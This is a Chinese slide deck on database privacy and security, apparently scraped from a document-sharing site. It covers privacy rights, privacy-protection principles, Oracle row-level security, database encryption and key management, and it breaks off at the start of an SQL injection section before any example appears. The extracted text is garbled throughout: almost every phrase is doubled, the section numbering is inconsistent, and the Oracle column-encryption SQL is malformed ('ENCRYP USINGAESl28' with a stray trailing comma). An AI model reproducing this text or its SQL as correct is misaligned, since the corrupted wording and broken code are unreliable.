第八章數(shù)據(jù)庫(kù)隱私_第1頁(yè)
第八章數(shù)據(jù)庫(kù)隱私_第2頁(yè)
第八章數(shù)據(jù)庫(kù)隱私_第3頁(yè)
第八章數(shù)據(jù)庫(kù)隱私_第4頁(yè)
第八章數(shù)據(jù)庫(kù)隱私_第5頁(yè)
已閱讀5頁(yè),還剩49頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、1 第八章數(shù)據(jù)庫(kù)隱私與數(shù)據(jù)庫(kù)安全的其他問(wèn)題2 3 8 8.1 .1 隱私隱私8 8.1.1 .1.1 隱私權(quán)的產(chǎn)生隱私權(quán)的產(chǎn)生19481948聯(lián)合國(guó)大會(huì)通過(guò)的世界人權(quán)宣言就在聯(lián)合國(guó)大會(huì)通過(guò)的世界人權(quán)宣言就在第第1212條明文規(guī)定:條明文規(guī)定:“任何人的私生活、家庭、任何人的私生活、家庭、住宅和通信不得任意干涉,他的榮譽(yù)和名譽(yù)不住宅和通信不得任意干涉,他的榮譽(yù)和名譽(yù)不得加以攻擊。人人有權(quán)享受法律保護(hù),以免受得加以攻擊。人人有權(quán)享受法律保護(hù),以免受干涉或攻擊。干涉或攻擊。”1966”1966年聯(lián)合國(guó)大會(huì)通過(guò)的公年聯(lián)合國(guó)大會(huì)通過(guò)的公民權(quán)利和政治權(quán)利國(guó)際公約在第民權(quán)利和政治權(quán)利國(guó)際公約在第1717條中

2、作了條中作了幾乎相同的規(guī)定,只是在幾乎相同的規(guī)定,只是在“干涉干涉”的前面加上的前面加上了了“非法非法”字樣,即字樣,即“不得加以任意或非法的不得加以任意或非法的干涉干涉”,使其含義更加確切。,使其含義更加確切。48.1.2 隱私權(quán)的內(nèi)容隱私權(quán)的內(nèi)容 隱私權(quán)隱私權(quán):是自然人享有的私人生活安寧和私人是自然人享有的私人生活安寧和私人信息依法受保護(hù),不被他人非法侵?jǐn)_、知悉、信息依法受保護(hù),不被他人非法侵?jǐn)_、知悉、搜集、利用和公開(kāi)的一種人格權(quán),它包含主體搜集、利用和公開(kāi)的一種人格權(quán),它包含主體和客體兩部分。和客體兩部分。隱私權(quán)的主體隱私權(quán)的主體:應(yīng)為自然人,不包括法人。隱應(yīng)為自然人,不包括法人。隱私權(quán)

3、的宗旨是保持人的心情舒暢、維護(hù)人格尊私權(quán)的宗旨是保持人的心情舒暢、維護(hù)人格尊嚴(yán)。嚴(yán)。隱私權(quán)的客體隱私權(quán)的客體:是隱私。是隱私。58.2 隱私形式隱私形式8.2.1 信息時(shí)代的隱私信息時(shí)代的隱私在網(wǎng)絡(luò)所帶來(lái)隱私權(quán)問(wèn)題當(dāng)中,一個(gè)關(guān)鍵的問(wèn)在網(wǎng)絡(luò)所帶來(lái)隱私權(quán)問(wèn)題當(dāng)中,一個(gè)關(guān)鍵的問(wèn)題就是有關(guān)個(gè)人數(shù)據(jù)的權(quán)利問(wèn)題。題就是有關(guān)個(gè)人數(shù)據(jù)的權(quán)利問(wèn)題。19951995年年7 7月,歐洲聯(lián)盟數(shù)據(jù)保護(hù)規(guī)章給個(gè)月,歐洲聯(lián)盟數(shù)據(jù)保護(hù)規(guī)章給個(gè)人數(shù)據(jù)下的定義是:人數(shù)據(jù)下的定義是:“有關(guān)一個(gè)人被識(shí)別或可有關(guān)一個(gè)人被識(shí)別或可識(shí)別的自然人的任何信息,包括身體的、生理識(shí)別的自然人的任何信息,包括身體的、生理的、經(jīng)濟(jì)的、文化的、社會(huì)的、

4、的、經(jīng)濟(jì)的、文化的、社會(huì)的、”。由此可見(jiàn),。由此可見(jiàn),所謂個(gè)人數(shù)據(jù),是指用來(lái)標(biāo)識(shí)個(gè)人基本情況的所謂個(gè)人數(shù)據(jù),是指用來(lái)標(biāo)識(shí)個(gè)人基本情況的一組數(shù)據(jù)資料,其范圍非常廣泛。一組數(shù)據(jù)資料,其范圍非常廣泛。6在網(wǎng)絡(luò)上,這些個(gè)人數(shù)據(jù)主要包括四個(gè)方面。在網(wǎng)絡(luò)上,這些個(gè)人數(shù)據(jù)主要包括四個(gè)方面。v個(gè)個(gè)人登錄的身份、健康狀況、興趣愛(ài)好。人登錄的身份、健康狀況、興趣愛(ài)好。v個(gè)人的信用和財(cái)產(chǎn)狀況,包括信用卡、電個(gè)人的信用和財(cái)產(chǎn)狀況,包括信用卡、電子消費(fèi)卡、上網(wǎng)卡、上網(wǎng)賬號(hào)和密碼、交子消費(fèi)卡、上網(wǎng)卡、上網(wǎng)賬號(hào)和密碼、交易賬號(hào)和密碼等。易賬號(hào)和密碼等。v郵箱地址,郵箱地址同樣是個(gè)人隱私,用郵箱地址,郵箱地址同樣是個(gè)人隱私,

5、用戶(hù)大多數(shù)不愿將之公開(kāi)。戶(hù)大多數(shù)不愿將之公開(kāi)。v網(wǎng)絡(luò)活動(dòng)蹤跡。個(gè)人在網(wǎng)上的活動(dòng)蹤跡。網(wǎng)絡(luò)活動(dòng)蹤跡。個(gè)人在網(wǎng)上的活動(dòng)蹤跡。78.3 數(shù)據(jù)庫(kù)隱私數(shù)據(jù)庫(kù)隱私8.3 1 數(shù)據(jù)庫(kù)隱私保護(hù)的原則數(shù)據(jù)庫(kù)隱私保護(hù)的原則數(shù)據(jù)庫(kù)隱私保護(hù)的數(shù)據(jù)庫(kù)隱私保護(hù)的1010條規(guī)則。條規(guī)則。v目標(biāo)定義目標(biāo)定義(Purpose Specification)(Purpose Specification)。對(duì)收。對(duì)收集和存儲(chǔ)在數(shù)據(jù)庫(kù)中的每條個(gè)人信息都應(yīng)該集和存儲(chǔ)在數(shù)據(jù)庫(kù)中的每條個(gè)人信息都應(yīng)該給出相應(yīng)的目的描述。給出相應(yīng)的目的描述。v提供者同意提供者同意(Consent)(Consent)。每條個(gè)人信息的相。每條個(gè)人信息的相應(yīng)目的都應(yīng)

6、該獲得信息提供者的同意。應(yīng)目的都應(yīng)該獲得信息提供者的同意。v收集限制收集限制(Limited Collection)(Limited Collection)。個(gè)人信息。個(gè)人信息的收集應(yīng)該限制在滿(mǎn)足相應(yīng)目的的最小需求的收集應(yīng)該限制在滿(mǎn)足相應(yīng)目的的最小需求內(nèi)。內(nèi)。v使用限制使用限制(Limited use)(Limited use)。數(shù)據(jù)庫(kù)僅僅運(yùn)行。數(shù)據(jù)庫(kù)僅僅運(yùn)行與收集信息的目的相一致的查詢(xún)。與收集信息的目的相一致的查詢(xún)。8v泄露限制泄露限制(Limited Disclosure)(Limited Disclosure)。存儲(chǔ)在。存儲(chǔ)在數(shù)據(jù)庫(kù)中的數(shù)據(jù)不允許同與信息提供者同數(shù)據(jù)庫(kù)中的數(shù)據(jù)不允許同與信

7、息提供者同意目的不符的外界進(jìn)行交流。意目的不符的外界進(jìn)行交流。v保留限制保留限制(Limited RetentionLimited Retention)。個(gè)人信)。個(gè)人信息只在為完成必要目的的時(shí)候才加以保留。息只在為完成必要目的的時(shí)候才加以保留。v準(zhǔn)確準(zhǔn)確(Accuracy)(Accuracy)。存儲(chǔ)器在數(shù)據(jù)庫(kù)中的個(gè)。存儲(chǔ)器在數(shù)據(jù)庫(kù)中的個(gè)人信息必須是正確的、最新的。人信息必須是正確的、最新的。v安全安全(SafetySafety)。個(gè)人信息有安全措施保)。個(gè)人信息有安全措施保護(hù),以防被盜或挪作它用。護(hù),以防被盜或挪作它用。v開(kāi)放開(kāi)放(Openness)(Openness)。信息擁有者應(yīng)該能夠訪

8、。信息擁有者應(yīng)該能夠訪問(wèn)自己存儲(chǔ)在數(shù)據(jù)庫(kù)中的所有信息。問(wèn)自己存儲(chǔ)在數(shù)據(jù)庫(kù)中的所有信息。v遵從遵從(ComplianceCompliance)。信息擁有者能夠驗(yàn))。信息擁有者能夠驗(yàn)證以上規(guī)則的遵守情況,相應(yīng)地,數(shù)據(jù)庫(kù)證以上規(guī)則的遵守情況,相應(yīng)地,數(shù)據(jù)庫(kù)也應(yīng)該重視對(duì)這些規(guī)則的挑戰(zhàn)。也應(yīng)該重視對(duì)這些規(guī)則的挑戰(zhàn)。9 10.3.2 基于訪問(wèn)控制的隱私保護(hù)基于訪問(wèn)控制的隱私保護(hù) OracleOracle系統(tǒng)的隱私保護(hù)系統(tǒng)的隱私保護(hù)OracleOracle一直都提供授權(quán)(或拒絕)用戶(hù)訪問(wèn)數(shù)一直都提供授權(quán)(或拒絕)用戶(hù)訪問(wèn)數(shù)據(jù)庫(kù)對(duì)象的能力,但是這些訪問(wèn)權(quán)限是在對(duì)象據(jù)庫(kù)對(duì)象的能力,但是這些訪問(wèn)權(quán)限是在對(duì)象級(jí)別上

9、定義的,即對(duì)于整個(gè)表或者整個(gè)數(shù)據(jù)庫(kù),級(jí)別上定義的,即對(duì)于整個(gè)表或者整個(gè)數(shù)據(jù)庫(kù),而不是針對(duì)表中某個(gè)特定的行而定義。而不是針對(duì)表中某個(gè)特定的行而定義。Oracle8iOracle8i中引入的中引入的OracleOracle行級(jí)安全性行級(jí)安全性(Row-(Row-Level Security, RLS)Level Security, RLS)特性在表的行這一級(jí)上特性在表的行這一級(jí)上進(jìn)行控制。行級(jí)安全性并不向?qū)Ρ碛腥魏卧L問(wèn)進(jìn)行控制。行級(jí)安全性并不向?qū)Ρ碛腥魏卧L問(wèn)權(quán)限的用戶(hù)打開(kāi)整個(gè)表,而是將訪問(wèn)限定到表權(quán)限的用戶(hù)打開(kāi)整個(gè)表,而是將訪問(wèn)限定到表中某個(gè)特定的行,其操作結(jié)果就是每個(gè)用戶(hù)看中某個(gè)特定的行,其操作

10、結(jié)果就是每個(gè)用戶(hù)看到完全不同的數(shù)據(jù)集。到完全不同的數(shù)據(jù)集。10例:例:假設(shè)銀行的賬戶(hù)經(jīng)理(假設(shè)銀行的賬戶(hù)經(jīng)理(AMAM)向高資金賬戶(hù))向高資金賬戶(hù)持有者提供個(gè)人客戶(hù)支持。規(guī)定賬戶(hù)經(jīng)理只能訪持有者提供個(gè)人客戶(hù)支持。規(guī)定賬戶(hù)經(jīng)理只能訪問(wèn)管轄之內(nèi)特定的客戶(hù)信息,而不是所有客戶(hù)信問(wèn)管轄之內(nèi)特定的客戶(hù)信息,而不是所有客戶(hù)信息。息。本例有兩個(gè)關(guān)鍵表,其一是本例有兩個(gè)關(guān)鍵表,其一是CUSTOMERCUSTOMER(客戶(hù))(客戶(hù))表,其二是表,其二是ACCOUNTACCOUNT(賬戶(hù))表(賬戶(hù))表表表8 8.1 CUSTOMER.1 CUSTOMER表表11表表8 8.2 ACCOUNT.2 ACCOUNT表

11、表表表8 8.3 ACCESS_POLICY.3 ACCESS_POLICY表表用戶(hù)的安全性經(jīng)理,擁有一個(gè)用戶(hù)的安全性經(jīng)理,擁有一個(gè)Access_policy表,表,可以識(shí)別賬戶(hù)經(jīng)理和他們各自客戶(hù)的賬戶(hù)??梢宰R(shí)別賬戶(hù)經(jīng)理和他們各自客戶(hù)的賬戶(hù)。12 表表 8 8.4 ACCESS_POLICY.4 ACCESS_POLICY表記錄表記錄13 10.3.3 數(shù)據(jù)加密數(shù)據(jù)加密數(shù)據(jù)庫(kù)安全措施不能抵御的幾種攻擊數(shù)據(jù)庫(kù)安全措施不能抵御的幾種攻擊: :v通過(guò)非法獲取用戶(hù)名和口令,竊取和篡改通過(guò)非法獲取用戶(hù)名和口令,竊取和篡改數(shù)據(jù)庫(kù)中的信息數(shù)據(jù)庫(kù)中的信息; ;v用戶(hù)繞過(guò)操作系統(tǒng)或用戶(hù)繞過(guò)操作系統(tǒng)或DBMSDB

12、MS的控制入侵系統(tǒng),的控制入侵系統(tǒng),竊取和篡改數(shù)據(jù)庫(kù)中的信息竊取和篡改數(shù)據(jù)庫(kù)中的信息; ; v數(shù)據(jù)存儲(chǔ)介質(zhì)數(shù)據(jù)存儲(chǔ)介質(zhì)( (如磁盤(pán)、光盤(pán)、磁帶等如磁盤(pán)、光盤(pán)、磁帶等) )失失竊導(dǎo)致數(shù)據(jù)庫(kù)中的數(shù)據(jù)泄漏竊導(dǎo)致數(shù)據(jù)庫(kù)中的數(shù)據(jù)泄漏; ; v惡意的數(shù)據(jù)庫(kù)管理員惡意的數(shù)據(jù)庫(kù)管理員(DBA)(DBA)竊取和篡改數(shù)據(jù)竊取和篡改數(shù)據(jù)庫(kù)中的信息。庫(kù)中的信息。14數(shù)據(jù)庫(kù)加密要求數(shù)據(jù)庫(kù)加密要求v數(shù)據(jù)庫(kù)中信息保存時(shí)間比較長(zhǎng)數(shù)據(jù)庫(kù)中信息保存時(shí)間比較長(zhǎng), ,采用合適的采用合適的加密方式加密方式, ,從根本上達(dá)到不可破譯從根本上達(dá)到不可破譯; ;v加密后加密后, ,加密數(shù)據(jù)占用的存儲(chǔ)空間不宜明顯加密數(shù)據(jù)占用的存儲(chǔ)空間不宜明顯

13、增大增大; ;v加密加密/ /解密速度要快解密速度要快, ,尤其是解密速度尤其是解密速度, ,要使要使用戶(hù)感覺(jué)不到加密用戶(hù)感覺(jué)不到加密/ /解密過(guò)程中產(chǎn)生的時(shí)延解密過(guò)程中產(chǎn)生的時(shí)延, ,以及系統(tǒng)性能的變化以及系統(tǒng)性能的變化; ;v授權(quán)機(jī)制要盡可能靈活。授權(quán)機(jī)制要盡可能靈活。v提供一套安全的、靈活的密鑰管理機(jī)制提供一套安全的、靈活的密鑰管理機(jī)制; ;v不影響數(shù)據(jù)庫(kù)系統(tǒng)的原有功能不影響數(shù)據(jù)庫(kù)系統(tǒng)的原有功能, ,保持對(duì)數(shù)據(jù)保持對(duì)數(shù)據(jù)庫(kù)操作庫(kù)操作( (如查詢(xún)?nèi)绮樵?xún), ,檢索檢索, ,修改修改, ,更新更新) )的靈活性的靈活性和簡(jiǎn)便性。和簡(jiǎn)便性。15一、加密執(zhí)行層次一、加密執(zhí)行層次操作系統(tǒng)層加密、操作

14、系統(tǒng)層加密、DBMSDBMS內(nèi)核層加密和內(nèi)核層加密和DBMSDBMS外層外層加密三個(gè)不同層次實(shí)現(xiàn)加密三個(gè)不同層次實(shí)現(xiàn) 1.1.在操作系統(tǒng)在操作系統(tǒng)(OS)(OS)層執(zhí)行加密層執(zhí)行加密/ /解密:解密:數(shù)據(jù)庫(kù)元數(shù)據(jù)庫(kù)元素以及各元素之間的關(guān)系無(wú)法辨認(rèn)素以及各元素之間的關(guān)系無(wú)法辨認(rèn), ,所以無(wú)法所以無(wú)法產(chǎn)生合理的密鑰。一般在產(chǎn)生合理的密鑰。一般在OSOS層層, ,針對(duì)數(shù)據(jù)庫(kù)文針對(duì)數(shù)據(jù)庫(kù)文件要么不加密件要么不加密, ,要么對(duì)整個(gè)數(shù)據(jù)庫(kù)文件進(jìn)行加要么對(duì)整個(gè)數(shù)據(jù)庫(kù)文件進(jìn)行加密密, ,加密加密/ /解密不能合理執(zhí)行。因此一般不采用解密不能合理執(zhí)行。因此一般不采用在在OSOS層進(jìn)行數(shù)據(jù)庫(kù)加密。層進(jìn)行數(shù)據(jù)庫(kù)加密

15、。162.2.在在DBMSDBMS內(nèi)核層執(zhí)行加密內(nèi)核層執(zhí)行加密/ /解密解密 在在DBMSDBMS內(nèi)核層對(duì)數(shù)據(jù)庫(kù)管理系統(tǒng)本身進(jìn)行內(nèi)核層對(duì)數(shù)據(jù)庫(kù)管理系統(tǒng)本身進(jìn)行操作操作, ,這種加密是指數(shù)據(jù)在物理存取之前完成加這種加密是指數(shù)據(jù)在物理存取之前完成加密密/ /解密工作。解密工作。v優(yōu)點(diǎn):優(yōu)點(diǎn):是加密功能強(qiáng)是加密功能強(qiáng), , 不影響不影響DBMSDBMS的功能。的功能。由于與由于與DBMSDBMS系統(tǒng)結(jié)合緊密系統(tǒng)結(jié)合緊密, ,可以提供對(duì)各種粒可以提供對(duì)各種粒度加密的靈活性度加密的靈活性, ,靈活的加密配合靈活的加密配合DBMSDBMS的訪問(wèn)的訪問(wèn)控制、授權(quán)控制控制、授權(quán)控制 。另外。另外, ,這種層次

16、的加密對(duì)這種層次的加密對(duì)于應(yīng)用程序來(lái)說(shuō)是透明的。于應(yīng)用程序來(lái)說(shuō)是透明的。v缺點(diǎn):缺點(diǎn):是加密運(yùn)算在服務(wù)器端進(jìn)行是加密運(yùn)算在服務(wù)器端進(jìn)行, DBMS, DBMS除除了完成正常的功能外,還要進(jìn)行加解密運(yùn)了完成正常的功能外,還要進(jìn)行加解密運(yùn)算,加重了服務(wù)器的負(fù)載算,加重了服務(wù)器的負(fù)載, ,而且而且DBMSDBMS和加密器和加密器之間的接口需要之間的接口需要DBMSDBMS開(kāi)發(fā)商的支持。開(kāi)發(fā)商的支持。173.3.在在DBMSDBMS外層執(zhí)行加密外層執(zhí)行加密/ /解密解密 在應(yīng)用程序中實(shí)現(xiàn)在應(yīng)用程序中實(shí)現(xiàn), ,加密時(shí)調(diào)用應(yīng)用程序加密時(shí)調(diào)用應(yīng)用程序中的加密模塊來(lái)完成數(shù)據(jù)的加密工作中的加密模塊來(lái)完成數(shù)據(jù)的加

17、密工作, ,然后把然后把密文數(shù)據(jù)傳送到密文數(shù)據(jù)傳送到DBMSDBMS存儲(chǔ)存儲(chǔ); ;解密時(shí)把密文數(shù)據(jù)解密時(shí)把密文數(shù)據(jù)取出到應(yīng)用程序中取出到應(yīng)用程序中, ,然后由應(yīng)用程序中的解密然后由應(yīng)用程序中的解密模塊將數(shù)據(jù)解密并給出結(jié)果。模塊將數(shù)據(jù)解密并給出結(jié)果。v優(yōu)點(diǎn):優(yōu)點(diǎn):不會(huì)加重?cái)?shù)據(jù)庫(kù)服務(wù)器的負(fù)載不會(huì)加重?cái)?shù)據(jù)庫(kù)服務(wù)器的負(fù)載, , 加解加解密運(yùn)算可在客戶(hù)端進(jìn)行密運(yùn)算可在客戶(hù)端進(jìn)行, , 并且可以實(shí)現(xiàn)網(wǎng)上并且可以實(shí)現(xiàn)網(wǎng)上傳輸?shù)募用軅鬏數(shù)募用? , 可以將加密密鑰與所加密的數(shù)可以將加密密鑰與所加密的數(shù)據(jù)分開(kāi)保存,提高了安全性。據(jù)分開(kāi)保存,提高了安全性。v缺點(diǎn):缺點(diǎn):加密后的數(shù)據(jù)庫(kù)功能受到一些限制,加密后的數(shù)據(jù)

18、庫(kù)功能受到一些限制,例如加密后的數(shù)據(jù)無(wú)法正常索引。同時(shí)數(shù)據(jù)例如加密后的數(shù)據(jù)無(wú)法正常索引。同時(shí)數(shù)據(jù)加密后也會(huì)破壞原有的關(guān)系數(shù)據(jù)的完整性與加密后也會(huì)破壞原有的關(guān)系數(shù)據(jù)的完整性與一致性,這些都會(huì)給數(shù)據(jù)庫(kù)應(yīng)用帶來(lái)影響。一致性,這些都會(huì)給數(shù)據(jù)庫(kù)應(yīng)用帶來(lái)影響。18二、加密算法的選擇二、加密算法的選擇1.1.對(duì)稱(chēng)加密對(duì)稱(chēng)加密對(duì)稱(chēng)加密算法加密速度快,因此它是最常用的對(duì)稱(chēng)加密算法加密速度快,因此它是最常用的加密技術(shù)。主要的對(duì)稱(chēng)加密算法有加密技術(shù)。主要的對(duì)稱(chēng)加密算法有DESDES、IDEAIDEA和和AESAES。主要缺點(diǎn)密鑰的生成、分發(fā)、備份、。主要缺點(diǎn)密鑰的生成、分發(fā)、備份、重新生成和生命周期等方面常存在安全

19、問(wèn)題。重新生成和生命周期等方面常存在安全問(wèn)題。在數(shù)據(jù)庫(kù)加密中一般采取對(duì)稱(chēng)密鑰的分組加密在數(shù)據(jù)庫(kù)加密中一般采取對(duì)稱(chēng)密鑰的分組加密算法。算法。192. 2. 非對(duì)稱(chēng)加密非對(duì)稱(chēng)加密適用于分布式系統(tǒng)中的數(shù)據(jù)加密。加密速度慢,適用于分布式系統(tǒng)中的數(shù)據(jù)加密。加密速度慢,安全強(qiáng)度沒(méi)有對(duì)稱(chēng)加密高,密鑰分發(fā)安全。常安全強(qiáng)度沒(méi)有對(duì)稱(chēng)加密高,密鑰分發(fā)安全。常用的公鑰加密算法是用的公鑰加密算法是RSARSA。203.3.混合加密混合加密為了充分發(fā)揮對(duì)稱(chēng)加密與非對(duì)稱(chēng)加密的優(yōu)勢(shì)為了充分發(fā)揮對(duì)稱(chēng)加密與非對(duì)稱(chēng)加密的優(yōu)勢(shì), ,混合加密方案被提出。在混合加密方案中混合加密方案被提出。在混合加密方案中, ,加加密者首先利用一個(gè)隨機(jī)

20、生成的密鑰和對(duì)稱(chēng)加密密者首先利用一個(gè)隨機(jī)生成的密鑰和對(duì)稱(chēng)加密算法加密數(shù)據(jù)算法加密數(shù)據(jù), ,然后通過(guò)使用接收者的公鑰把然后通過(guò)使用接收者的公鑰把隨機(jī)密鑰進(jìn)行加密隨機(jī)密鑰進(jìn)行加密, ,并與密文一起傳送給接受并與密文一起傳送給接受者。接收者通過(guò)自己的私鑰首先解密隨機(jī)密鑰者。接收者通過(guò)自己的私鑰首先解密隨機(jī)密鑰, ,再利用其解密密文。此方案既利用了對(duì)稱(chēng)加密再利用其解密密文。此方案既利用了對(duì)稱(chēng)加密安全強(qiáng)度高、速度快的特點(diǎn)安全強(qiáng)度高、速度快的特點(diǎn), ,也利用了非對(duì)稱(chēng)也利用了非對(duì)稱(chēng)加密密鑰管理簡(jiǎn)單的特性。加密密鑰管理簡(jiǎn)單的特性。21三、數(shù)據(jù)庫(kù)加密粒度三、數(shù)據(jù)庫(kù)加密粒度一般來(lái)說(shuō),數(shù)據(jù)庫(kù)加密的粒度可以有一般來(lái)說(shuō)

21、,數(shù)據(jù)庫(kù)加密的粒度可以有4 4種種v表加密:表加密:表級(jí)加密的對(duì)象是整個(gè)表,這種表級(jí)加密的對(duì)象是整個(gè)表,這種加密方法類(lèi)似于操作系統(tǒng)中文件加密的方法。加密方法類(lèi)似于操作系統(tǒng)中文件加密的方法。v屬性加密:屬性加密:屬性加密,以表中的列為單位屬性加密,以表中的列為單位進(jìn)行加密。進(jìn)行加密。v記錄加密:記錄加密:記錄加密是把表中的一條記錄記錄加密是把表中的一條記錄作為加密的單位,當(dāng)數(shù)據(jù)庫(kù)中需要加密的記作為加密的單位,當(dāng)數(shù)據(jù)庫(kù)中需要加密的記錄數(shù)比較少時(shí),采用這種方法是比較好的。錄數(shù)比較少時(shí),采用這種方法是比較好的。v數(shù)據(jù)元素加密:數(shù)據(jù)元素加密:數(shù)據(jù)元素加密是以記錄中數(shù)據(jù)元素加密是以記錄中每個(gè)字段的值為單位

22、進(jìn)行加密。每個(gè)字段的值為單位進(jìn)行加密。 22 四、密鑰管理四、密鑰管理對(duì)數(shù)據(jù)庫(kù)密鑰的管理一般有對(duì)數(shù)據(jù)庫(kù)密鑰的管理一般有集中密鑰管理集中密鑰管理和多和多級(jí)密鑰管理級(jí)密鑰管理兩種體制。兩種體制。集中密鑰管理方法是設(shè)立密鑰管理中心。在建集中密鑰管理方法是設(shè)立密鑰管理中心。在建立數(shù)據(jù)庫(kù)時(shí),密鑰管理中心負(fù)責(zé)產(chǎn)生密鑰并對(duì)立數(shù)據(jù)庫(kù)時(shí),密鑰管理中心負(fù)責(zé)產(chǎn)生密鑰并對(duì)數(shù)據(jù)加密,形成一張密鑰表。當(dāng)用戶(hù)訪問(wèn)數(shù)據(jù)數(shù)據(jù)加密,形成一張密鑰表。當(dāng)用戶(hù)訪問(wèn)數(shù)據(jù)庫(kù)時(shí),密鑰管理機(jī)構(gòu)核對(duì)用戶(hù)識(shí)別符和用戶(hù)密庫(kù)時(shí),密鑰管理機(jī)構(gòu)核對(duì)用戶(hù)識(shí)別符和用戶(hù)密鑰。通過(guò)審核后,由密鑰管理機(jī)構(gòu)找到或計(jì)算鑰。通過(guò)審核后,由密鑰管理機(jī)構(gòu)找到或計(jì)算出相應(yīng)的數(shù)

23、據(jù)密鑰。這種密鑰管理方式方便用出相應(yīng)的數(shù)據(jù)密鑰。這種密鑰管理方式方便用戶(hù)使用和管理,但由于這些密鑰一般由數(shù)據(jù)庫(kù)戶(hù)使用和管理,但由于這些密鑰一般由數(shù)據(jù)庫(kù)管理人員控制,因而權(quán)限過(guò)于集中。管理人員控制,因而權(quán)限過(guò)于集中。23目前研究和應(yīng)用比較多的是多級(jí)密鑰管理體制。目前研究和應(yīng)用比較多的是多級(jí)密鑰管理體制。以加密粒度為數(shù)據(jù)元素的三級(jí)密鑰管理體制為以加密粒度為數(shù)據(jù)元素的三級(jí)密鑰管理體制為例,整個(gè)系統(tǒng)的密鑰由一個(gè)例,整個(gè)系統(tǒng)的密鑰由一個(gè)主密鑰主密鑰、每個(gè)表上、每個(gè)表上的的表密鑰表密鑰,以及各個(gè),以及各個(gè)數(shù)據(jù)元素密鑰數(shù)據(jù)元素密鑰組成。表密組成。表密鑰被主密鑰加密后以密文形式保存在數(shù)據(jù)字典鑰被主密鑰加密后以

24、密文形式保存在數(shù)據(jù)字典中,數(shù)據(jù)元素密鑰由主密鑰及數(shù)據(jù)元素所在行、中,數(shù)據(jù)元素密鑰由主密鑰及數(shù)據(jù)元素所在行、列通過(guò)某種函數(shù)自動(dòng)生成,一般不需要保存。列通過(guò)某種函數(shù)自動(dòng)生成,一般不需要保存。在多級(jí)密鑰體制中,主密鑰是加密子系統(tǒng)的關(guān)在多級(jí)密鑰體制中,主密鑰是加密子系統(tǒng)的關(guān)鍵,系統(tǒng)的安全性在很大程度上依賴(lài)于主密鑰鍵,系統(tǒng)的安全性在很大程度上依賴(lài)于主密鑰的安全性。的安全性。24例:例:OracleOracle數(shù)據(jù)庫(kù)數(shù)據(jù)庫(kù)10g10g對(duì)列進(jìn)行加密。對(duì)列進(jìn)行加密。create table accounts(id number not null,firstname varchar2 (20) not null

25、,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYP USINGAESl28,) SQL Server 2005內(nèi)置密鑰結(jié)構(gòu)內(nèi)置密鑰結(jié)構(gòu) 25數(shù)據(jù)庫(kù)加密后對(duì)系統(tǒng)的影響數(shù)據(jù)庫(kù)加密后對(duì)系統(tǒng)的影響v性能下降性能下降v加密的范圍的約束:加密的范圍的約束:如不加密索引字段和表如不加密索引字段和表間的連接碼字段。間的連接碼字段。v加密字符串的模糊匹配加密字符串的模糊匹配: :對(duì)加密數(shù)據(jù)上的大對(duì)加密數(shù)據(jù)上的大量模糊查詢(xún)量模糊查詢(xún), ,例如例如, ,當(dāng)當(dāng)SQLSQL條件語(yǔ)句包含條件語(yǔ)句包含“Like”“Like”時(shí)時(shí), ,很難進(jìn)行處理。很難進(jìn)行處理。

26、v加密數(shù)據(jù)庫(kù)的完整性加密數(shù)據(jù)庫(kù)的完整性: :當(dāng)數(shù)據(jù)庫(kù)加密后當(dāng)數(shù)據(jù)庫(kù)加密后, ,實(shí)體實(shí)體完整性不會(huì)被破壞完整性不會(huì)被破壞, ,而引用完整性難以維護(hù),而引用完整性難以維護(hù),如外鍵約束及值域的定義等。數(shù)據(jù)一旦加密,如外鍵約束及值域的定義等。數(shù)據(jù)一旦加密,DBMSDBMS將難以實(shí)現(xiàn)這些約束。將難以實(shí)現(xiàn)這些約束。26v使數(shù)據(jù)的使數(shù)據(jù)的SQLSQL語(yǔ)言受到制約:語(yǔ)言受到制約:SQLSQL語(yǔ)言中的語(yǔ)言中的Group byGroup by、Order byOrder by及及HavingHaving子句分別完成子句分別完成分組和排序等操作,解密后的明文數(shù)據(jù)將失分組和排序等操作,解密后的明文數(shù)據(jù)將失去原語(yǔ)句的分

27、組和排序作用。去原語(yǔ)句的分組和排序作用。v密文數(shù)據(jù)容易成為攻擊目標(biāo)密文數(shù)據(jù)容易成為攻擊目標(biāo)v加密數(shù)據(jù)的存儲(chǔ)空間增加問(wèn)題加密數(shù)據(jù)的存儲(chǔ)空間增加問(wèn)題 v密鑰管理問(wèn)題密鑰管理問(wèn)題27加密方法加密方法 例:例:OracleOracle數(shù)據(jù)庫(kù)數(shù)據(jù)庫(kù)10g10g第二版對(duì)列進(jìn)行加密。第二版對(duì)列進(jìn)行加密。create table accounts(id number not null,firstname varchar2 (20) not null,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYPT USINGAESl28,)28 10.4 SQL

28、注入攻擊注入攻擊10.4.1 SQL注入攻擊原理注入攻擊原理SQLSQL注入攻擊注入攻擊: :它借助應(yīng)用程序通過(guò)參數(shù)化、動(dòng)它借助應(yīng)用程序通過(guò)參數(shù)化、動(dòng)態(tài)態(tài)SQLSQL語(yǔ)句與數(shù)據(jù)庫(kù)系統(tǒng)進(jìn)行交互的內(nèi)部邏輯,語(yǔ)句與數(shù)據(jù)庫(kù)系統(tǒng)進(jìn)行交互的內(nèi)部邏輯,利用程序中存在的漏洞或利用程序中存在的漏洞或BugBug,構(gòu)造與應(yīng)用程,構(gòu)造與應(yīng)用程序設(shè)計(jì)預(yù)期不同的序設(shè)計(jì)預(yù)期不同的SQLSQL聲明,非法訪問(wèn)非授權(quán)聲明,非法訪問(wèn)非授權(quán)數(shù)據(jù)、篡改數(shù)據(jù)、監(jiān)視隱私、破壞系統(tǒng)。數(shù)據(jù)、篡改數(shù)據(jù)、監(jiān)視隱私、破壞系統(tǒng)。29 一、典型的一、典型的SOLSOL注入攻擊注入攻擊假設(shè)某網(wǎng)站的數(shù)據(jù)庫(kù)中有一個(gè)假設(shè)某網(wǎng)站的數(shù)據(jù)庫(kù)中有一個(gè)usertabl

